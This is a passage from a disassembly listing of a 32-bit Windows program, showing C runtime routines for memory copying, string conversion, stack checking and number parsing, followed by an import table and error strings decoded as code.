		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_404580:				; CODE XREF: sub_404410+35j
					; sub_404410+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_404594:				; CODE XREF: sub_404410+35j
					; sub_404410+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4045AC:				; CODE XREF: sub_404410+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4045E0
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4045D4
		std
		rep movsd
		cld
		jmp	ds:off_4046F8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4045D4:				; CODE XREF: sub_404410+1B5j
					; sub_404410+210j ...
		neg	ecx
		jmp	ds:off_4046A8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_4045E0:				; CODE XREF: sub_404410+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4045F8
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4045F8+4[eax*4]
; ---------------------------------------------------------------------------

loc_4045F8:				; CODE XREF: sub_404410+1DAj
					; DATA XREF: sub_404410+1E1r
		jmp	ds:off_4046F8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		or	al, 46h
		inc	eax
		add	[eax], dh
		inc	esi
		inc	eax
		add	[eax+46h], bl
		inc	eax
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_4045D4
		std
		rep movsd
		cld
		jmp	ds:off_4046F8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4045D4
		std
		rep movsd
		cld
		jmp	ds:off_4046F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4045D4
		std
		rep movsd
		cld
		jmp	ds:off_4046F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4046AC
		dd offset loc_4046B4
		dd offset loc_4046BC
		dd offset loc_4046C4
		dd offset loc_4046CC
		dd offset loc_4046D4
		dd offset loc_4046DC
off_4046A8	dd offset loc_4046EF	; DATA XREF: sub_404410+1C6r
; ---------------------------------------------------------------------------

loc_4046AC:				; DATA XREF: sub_404410+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_4046B4:				; DATA XREF: sub_404410+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_4046BC:				; DATA XREF: sub_404410+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_4046C4:				; DATA XREF: sub_404410+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_4046CC:				; DATA XREF: sub_404410+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_4046D4:				; DATA XREF: sub_404410+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_4046DC:				; DATA XREF: sub_404410+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4046EF:				; CODE XREF: sub_404410+1C6j
					; DATA XREF: sub_404410:off_4046A8o
		jmp	ds:off_4046F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4046F8	dd offset loc_404708	; DATA XREF: sub_404410+1BBr
					; sub_404410:loc_4045F8r ...
		dd offset loc_404710
		dd offset loc_404720
		dd offset loc_404734
; ---------------------------------------------------------------------------

loc_404708:				; CODE XREF: sub_404410+1BBj
					; sub_404410:loc_4045F8j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_404710:				; CODE XREF: sub_404410+1BBj
					; sub_404410:loc_4045F8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_404720:				; CODE XREF: sub_404410+1BBj
					; sub_404410:loc_4045F8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_404734:				; CODE XREF: sub_404410+1BBj
					; sub_404410:loc_4045F8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_404410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404750	proc near		; CODE XREF: seg000:00404306p
					; seg000:004048B7p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4047AB
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40479B
		neg	ecx
		and	ecx, 3
		jz	short loc_40477D
		sub	edx, ecx

loc_404773:				; CODE XREF: sub_404750+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_404773

loc_40477D:				; CODE XREF: sub_404750+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40479B
		rep stosd
		test	edx, edx
		jz	short loc_4047A5

loc_40479B:				; CODE XREF: sub_404750+18j
					; sub_404750+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_40479B

loc_4047A5:				; CODE XREF: sub_404750+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4047AB:				; CODE XREF: sub_404750+Aj
		mov	eax, [esp+arg_0]
		retn
sub_404750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047B0	proc near		; CODE XREF: sub_403E7F+27Dp
					; seg000:00404399p

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, ds:dword_4071C0
		push	6
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	ds:dword_4050C8	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_4047DF
		or	eax, 0FFFFFFFFh
		jmp	short loc_4047E9
; ---------------------------------------------------------------------------

loc_4047DF:				; CODE XREF: sub_4047B0+28j
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_404B1A
		pop	ecx

loc_4047E9:				; CODE XREF: sub_4047B0+2Dj
		mov	ecx, [ebp+var_4]
		call	sub_4024BC
		leave
		retn
sub_4047B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4047F3	proc near		; CODE XREF: sub_403E7F+2A8p
					; seg000:004043B9p
		push	38h
		push	offset dword_405CC8
		call	sub_401E78
sub_4047F3	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:dword_4071C0
		mov	[ebp-1Ch], eax
		xor	edi, edi
		mov	[ebp-34h], edi
		mov	[ebp-44h], edi
		mov	eax, [ebp+14h]
		mov	ebx, [eax]
		mov	[ebp-40h], ebx
		mov	[ebp-3Ch], edi
		mov	eax, [ebp+8]
		cmp	eax, [ebp+0Ch]
		jz	loc_404999
		lea	ecx, [ebp-30h]
		push	ecx
		push	eax
		mov	esi, ds:dword_405080
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_404857
		cmp	dword ptr [ebp-30h], 1
		jnz	short loc_404857
		lea	eax, [ebp-30h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_404857
		cmp	dword ptr [ebp-30h], 1
		jnz	short loc_404857
		mov	dword ptr [ebp-3Ch], 1

loc_404857:				; CODE XREF: seg000:00404835j
					; seg000:0040483Bj ...
		cmp	[ebp-3Ch], edi
		jz	short loc_404876
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404865
		mov	esi, ebx
		jmp	short loc_404871
; ---------------------------------------------------------------------------

loc_404865:				; CODE XREF: seg000:0040485Fj
		push	dword ptr [ebp+10h]
		call	sub_402400
		pop	ecx
		mov	esi, eax
		inc	esi

loc_404871:				; CODE XREF: seg000:00404863j
		mov	[ebp-38h], esi
		jmp	short loc_404879
; ---------------------------------------------------------------------------

loc_404876:				; CODE XREF: seg000:0040485Aj
		mov	esi, [ebp-38h]

loc_404879:				; CODE XREF: seg000:00404874j
		cmp	[ebp-3Ch], edi
		jnz	short loc_404898
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+8]
		call	ds:dword_4050B8	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp-38h], esi
		cmp	esi, edi
		jz	short loc_4048F0

loc_404898:				; CODE XREF: seg000:0040487Cj
		mov	[ebp-4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_401FD0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-48h], ebx
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	ebx
		call	sub_404750
		add	esp, 0Ch
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_4048DC
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		call	sub_4049BC
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-38h]

loc_4048DC:				; CODE XREF: seg000:004048C3j
		cmp	ebx, edi
		jnz	short loc_4048FE
		push	esi
		push	2
		call	sub_404A9F
		pop	ecx
		pop	ecx
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_4048F7

loc_4048F0:				; CODE XREF: seg000:00404896j
		xor	eax, eax
		jmp	loc_4049AB
; ---------------------------------------------------------------------------

loc_4048F7:				; CODE XREF: seg000:004048EEj
		mov	dword ptr [ebp-44h], 1

loc_4048FE:				; CODE XREF: seg000:004048DEj
		push	esi
		push	ebx
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+8]
		call	ds:dword_4050B8	; MultiByteToWideChar
		test	eax, eax
		jz	loc_40499C
		cmp	[ebp+18h], edi
		jz	short loc_40493E
		push	edi
		push	edi
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	esi
		push	ebx
		push	edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_405050	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_40499C
		mov	eax, [ebp+18h]
		mov	[ebp-34h], eax
		jmp	short loc_40499C
; ---------------------------------------------------------------------------

loc_40493E:				; CODE XREF: seg000:0040491Cj
		cmp	[ebp-3Ch], edi
		jnz	short loc_404959
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_405050	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40499C

loc_404959:				; CODE XREF: seg000:00404941j
		push	esi
		push	1
		call	sub_404A9F
		pop	ecx
		pop	ecx
		mov	[ebp-34h], eax
		cmp	eax, edi
		jz	short loc_40499C
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	ebx
		push	edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_405050	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_40498C
		push	dword ptr [ebp-34h]
		call	sub_4028F6
		pop	ecx
		mov	[ebp-34h], edi
		jmp	short loc_40499C
; ---------------------------------------------------------------------------

loc_40498C:				; CODE XREF: seg000:0040497Cj
		cmp	dword ptr [ebp-40h], 0FFFFFFFFh
		jz	short loc_40499C
		mov	ecx, [ebp+14h]
		mov	[ecx], eax
		jmp	short loc_40499C
; ---------------------------------------------------------------------------

loc_404999:				; CODE XREF: seg000:00404820j
		mov	ebx, [ebp-48h]

loc_40499C:				; CODE XREF: seg000:00404913j
					; seg000:00404934j ...
		cmp	[ebp-44h], edi
		jz	short loc_4049A8
		push	ebx
		call	sub_4028F6
		pop	ecx

loc_4049A8:				; CODE XREF: seg000:0040499Fj
		mov	eax, [ebp-34h]

loc_4049AB:				; CODE XREF: seg000:004048F2j
		lea	esp, [ebp-54h]
		mov	ecx, [ebp-1Ch]
		call	sub_4024BC
		call	sub_401EB3
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049BC	proc near		; CODE XREF: sub_403E7F+FDp
					; sub_403E7F+1CBp ...

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_401FD0
		mov	esi, esp
		push	1Ch
		lea	eax, [ebp+var_28]
		push	eax
		push	esi
		call	ds:dword_405098	; VirtualQuery
		test	eax, eax
		jz	short loc_404A57
		mov	ebx, [ebp+var_24]
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4050D0	; GetSystemInfo
		mov	ecx, [ebp+var_48]
		mov	eax, ds:dword_407318
		lea	edi, [ecx-1]
		not	edi
		and	edi, esi
		sub	edi, ecx
		mov	esi, eax
		dec	esi
		neg	esi
		sbb	esi, esi
		and	esi, 0FFFFFFF1h
		add	esi, 11h
		imul	esi, ecx
		add	esi, ebx
		cmp	edi, esi
		mov	[ebp+var_8], ecx
		jb	short loc_404A57
		cmp	eax, 1
		jz	short loc_404A78
		mov	[ebp+var_4], ebx
		mov	ebx, 1000h

loc_404A24:				; CODE XREF: sub_4049BC+84j
		push	1Ch
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_405098	; VirtualQuery
		test	eax, eax
		jz	short loc_404A57
		mov	eax, [ebp+var_1C]
		add	[ebp+var_4], eax
		test	[ebp+var_18], ebx
		jz	short loc_404A24
		test	[ebp+var_13], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jz	short loc_404A53
		xor	eax, eax
		inc	eax
		jmp	short loc_404A97
; ---------------------------------------------------------------------------

loc_404A53:				; CODE XREF: sub_4049BC+90j
		cmp	edi, eax
		jnb	short loc_404A5B

loc_404A57:				; CODE XREF: sub_4049BC+22j
					; sub_4049BC+59j ...
		xor	eax, eax
		jmp	short loc_404A97
; ---------------------------------------------------------------------------

loc_404A5B:				; CODE XREF: sub_4049BC+99j
		cmp	eax, esi
		jnb	short loc_404A62
		mov	[ebp+var_4], esi

loc_404A62:				; CODE XREF: sub_4049BC+A1j
		push	4
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_405088	; VirtualAlloc
		mov	eax, ds:dword_407318
		jmp	short loc_404A7B
; ---------------------------------------------------------------------------

loc_404A78:				; CODE XREF: sub_4049BC+5Ej
		mov	[ebp+var_4], edi

loc_404A7B:				; CODE XREF: sub_4049BC+BAj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_C]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_4050CC	; VirtualProtect

loc_404A97:				; CODE XREF: sub_4049BC+95j
					; sub_4049BC+9Dj
		lea	esp, [ebp-58h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4049BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A9F	proc near		; CODE XREF: seg000:00404330p
					; seg000:004048E3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		imul	esi, [esp+8+arg_4]
		test	esi, esi
		push	edi
		mov	ebx, esi
		jnz	short loc_404AB2
		inc	esi

loc_404AB2:				; CODE XREF: sub_404A9F+10j
					; sub_404A9F+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_404AF2
		cmp	ds:dword_407764, 3
		jnz	short loc_404ADD
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		cmp	ebx, ds:dword_40751C
		ja	short loc_404ADD
		push	ebx
		call	sub_403524
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_404B08

loc_404ADD:				; CODE XREF: sub_404A9F+21j
					; sub_404A9F+2Fj
		push	esi
		push	8
		push	ds:dword_407760
		call	ds:dword_405084	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_404B14

loc_404AF2:				; CODE XREF: sub_404A9F+18j
		cmp	ds:dword_40750C, 0
		jz	short loc_404B14
		push	esi
		call	sub_4043F5
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB2
		jmp	short loc_404B16
; ---------------------------------------------------------------------------

loc_404B08:				; CODE XREF: sub_404A9F+3Cj
		push	ebx
		push	0
		push	edi
		call	sub_404750
		add	esp, 0Ch

loc_404B14:				; CODE XREF: sub_404A9F+51j
					; sub_404A9F+5Aj
		mov	eax, edi

loc_404B16:				; CODE XREF: sub_404A9F+67j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404A9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B1A	proc near		; CODE XREF: sub_4047B0+33p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		jmp	short loc_404B22
; ---------------------------------------------------------------------------

loc_404B21:				; CODE XREF: sub_404B1A+14j
		inc	esi

loc_404B22:				; CODE XREF: sub_404B1A+5j
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_404B72
		test	eax, eax
		pop	ecx
		jnz	short loc_404B21
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_404B40
		cmp	ecx, 2Bh
		jnz	short loc_404B44

loc_404B40:				; CODE XREF: sub_404B1A+1Fj
		movzx	ecx, byte ptr [esi]
		inc	esi

loc_404B44:				; CODE XREF: sub_404B1A+24j
		xor	eax, eax

loc_404B46:				; CODE XREF: sub_404B1A+4Dj
		cmp	ecx, 30h
		jl	short loc_404B55
		cmp	ecx, 39h
		jg	short loc_404B55
		sub	ecx, 30h
		jmp	short loc_404B58
; ---------------------------------------------------------------------------

loc_404B55:				; CODE XREF: sub_404B1A+2Fj
					; sub_404B1A+34j
		or	ecx, 0FFFFFFFFh

loc_404B58:				; CODE XREF: sub_404B1A+39j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_404B69
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_404B46
; ---------------------------------------------------------------------------

loc_404B69:				; CODE XREF: sub_404B1A+41j
		cmp	edx, 2Dh
		pop	esi
		jnz	short locret_404B71
		neg	eax

locret_404B71:				; CODE XREF: sub_404B1A+53j
		retn
sub_404B1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B72	proc near		; CODE XREF: sub_404B1A+Cp

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jbe	short loc_404BDF
		and	[ebp+var_4], 0
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_2]
		stosw
		mov	eax, ecx
		shr	eax, 8
		cmp	ds:dword_407530, 0
		mov	byte ptr [ebp+arg_0+2],	al
		mov	byte ptr [ebp+arg_0+3],	cl
		pop	edi
		jnz	short loc_404BA7

loc_404BA3:				; CODE XREF: sub_404B72+59j
					; sub_404B72+60j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_404BA7:				; CODE XREF: sub_404B72+2Fj
		push	1
		push	ds:dword_40752C
		lea	eax, [ebp+var_4]
		push	ds:dword_407644
		push	eax
		push	2
		lea	eax, [ebp+arg_0+2]
		push	eax
		push	1
		call	sub_40423B
; ---------------------------------------------------------------------------
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_404BA3
		cmp	[ebp+var_2], 0
		jnz	short loc_404BA3
		test	byte ptr [ebp+var_4], 8
		jz	short loc_404BA3
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_404BDF:				; CODE XREF: sub_404B72+Dj
		cmp	ds:dword_4072E0, 1
		jle	short loc_404BF4
		push	8
		push	ecx
		call	sub_404C44
		pop	ecx
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_404BF4:				; CODE XREF: sub_404B72+74j
		mov	eax, ds:off_4072D0
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		leave
		retn
sub_404B72	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_404C29
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_404C29:				; CODE XREF: seg000:00404C1Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C44	proc near		; CODE XREF: sub_404B72+79p

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_404C62
		mov	ecx, ds:off_4072D0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_404CBD
; ---------------------------------------------------------------------------

loc_404C62:				; CODE XREF: sub_404C44+10j
		mov	ecx, eax
		sar	ecx, 8
		push	esi
		mov	esi, ds:off_4072D0
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_404C88
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], cl
		mov	[ebp+var_2], 0
		pop	eax
		jmp	short loc_404C92
; ---------------------------------------------------------------------------

loc_404C88:				; CODE XREF: sub_404C44+33j
		mov	[ebp+var_4], al
		xor	eax, eax
		mov	[ebp+var_3], 0
		inc	eax

loc_404C92:				; CODE XREF: sub_404C44+42j
		push	1
		push	ds:dword_4074E8
		lea	ecx, [ebp+arg_0+2]
		push	ds:dword_4074F8
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_40423B
; ---------------------------------------------------------------------------
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_404CB9
		leave
		retn
; ---------------------------------------------------------------------------

loc_404CB9:				; CODE XREF: sub_404C44+71j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_404CBD:				; CODE XREF: sub_404C44+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_404C44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404CC2	proc near		; CODE XREF: sub_403820+13p
		jmp	ds:dword_405090
sub_404CC2	endp

; ---------------------------------------------------------------------------
		align 400h
seg000		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00005000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 405000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 77DD72F0h, 77DD59F0h, 0
		dd 77E74672h, 77E7A099h, 77E645E4h, 77E79F93h, 77E6177Ah
		dd 77E7C938h, 77E7C657h
dword_405028	dd 77E75CB5h		; DATA XREF: seg000:004024B5r
dword_40502C	dd 3A7574h		; DATA XREF: sub_4020C9+28r
		dd 77E616B4h, 77E79C90h, 77E79D8Ch, 77E79C3Dh
dword_405040	dd 77EB9A84h		; DATA XREF: seg000:0040177Br
		dd 77E9C5B1h, 77E67702h, 77E7C9E1h
dword_405050	dd 77E79924h		; DATA XREF: sub_403E7F+22Dr
					; seg000:0040492Cr ...
dword_405054	dd 77F5157Dh		; DATA XREF: sub_403E7F:loc_403EB8r
					; seg000:loc_404271r
		dd 77E77EE1h, 77E7C931h, 77E78406h, 77E76E0Bh, 77E7C726h
dword_40506C	dd 77E79E34h		; DATA XREF: sub_402D70+22Fr
dword_405070	dd 77F51597h		; DATA XREF: sub_4028F6+30r
					; sub_402D70+2B4r ...
dword_405074	dd 77E805D8h		; DATA XREF: sub_4020C9+18r
		dd 77E7A13Fh, 77E6C703h
dword_405080	dd 77E7849Fh		; DATA XREF: seg000:0040482Br
dword_405084	dd 77F516F8h		; DATA XREF: sub_40292E+3Er
					; seg000:00402D0Ar ...
dword_405088	dd 77E7980Ah		; DATA XREF: sub_403088+7Er
					; sub_40313F+52r ...
dword_40508C	dd 77F5722Fh		; DATA XREF: sub_403088+27r
					; sub_403B37+FDr ...
dword_405090	dd 77F6183Eh		; DATA XREF: sub_404CC2r
dword_405094	dd 77E775F1h		; DATA XREF: sub_40390E+131r
					; sub_40390E+196r ...
dword_405098	dd 77E7F044h		; DATA XREF: sub_40390E+B3r
					; sub_4049BC+1Ar ...
dword_40509C	dd 77F522F2h		; DATA XREF: sub_403C99+30r
		dd 77E802FCh
dword_4050A4	dd 77E7751Ah		; DATA XREF: sub_403CD1+37r
		dd 77E77CC4h, 77E80656h, 77E6167Bh, 77E77405h
dword_4050B8	dd 77E77CCEh		; DATA XREF: sub_403E7F+C0r
					; sub_403E7F+141r ...
dword_4050BC	dd 77E781F9h		; DATA XREF: sub_403E7F+27r
					; sub_403E7F+15Br ...
; ---------------------------------------------------------------------------
		jmp	short loc_405103
; ---------------------------------------------------------------------------
		dw 77E6h
dword_4050C4	dd 77E7C866h		; DATA XREF: seg000:0040425Fr
					; seg000:00404363r
dword_4050C8	dd 77E7513Ch		; DATA XREF: sub_4047B0+20r
dword_4050CC	dd 77E6169Ah		; DATA XREF: sub_4049BC+D5r
dword_4050D0	dd 77E7C3A5h		; DATA XREF: sub_4049BC+2Br
		dd 4 dup(0)
		dd 46711AD1h, 0
		dd 2, 58h, 5D20h, 4F20h, 0
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_405103:				; CODE XREF: seg001:004050C0j
		dec	dword ptr [edi-5CFFBFEEh]
		adc	al, [eax+0]
		inc	ebx
		outsd
		jb	short loc_405155
		js	short near ptr loc_405176+5
		jz	short loc_405164
		jb	short near ptr loc_405182+3
		arpl	[ebp+73h], sp
		jnb	short $+2
		add	[ebp+73h], ch
		arpl	[edi+72h], bp
		db	65h, 65h, 2Eh, 64h
		insb
		insb
		add	[edx+75h], dh
		outsb
		jz	short near ptr loc_405194+2
		insd
		and	gs:[ebp+72h], ah
		jb	short loc_4051A3
		jb	short near ptr loc_405155+1
; ---------------------------------------------------------------------------
		dw 0
		dd 0A0Dh, 534F4C54h, 72652053h,	0D726F72h, 0Ah,	474E4953h
		dd 72726520h
		db 6Fh
; ---------------------------------------------------------------------------

loc_405155:				; CODE XREF: seg001:0040510Ej
					; seg001:00405134j
		jb	short loc_405164
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 414D4F44h, 65204E49h
; ---------------------------------------------------------------------------

loc_405164:				; CODE XREF: seg001:00405112j
					; seg001:loc_405155j
		jb	short loc_4051D8
		outsd
		jb	short loc_405176
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
		dd 32303652h
		db 39h,	0Dh
; ---------------------------------------------------------------------------

loc_405176:				; CODE XREF: seg001:00405167j
					; seg001:00405110j
		or	ch, ds:69685420h
		jnb	short loc_40519E
		popa
		jo	short loc_4051F1
		insb

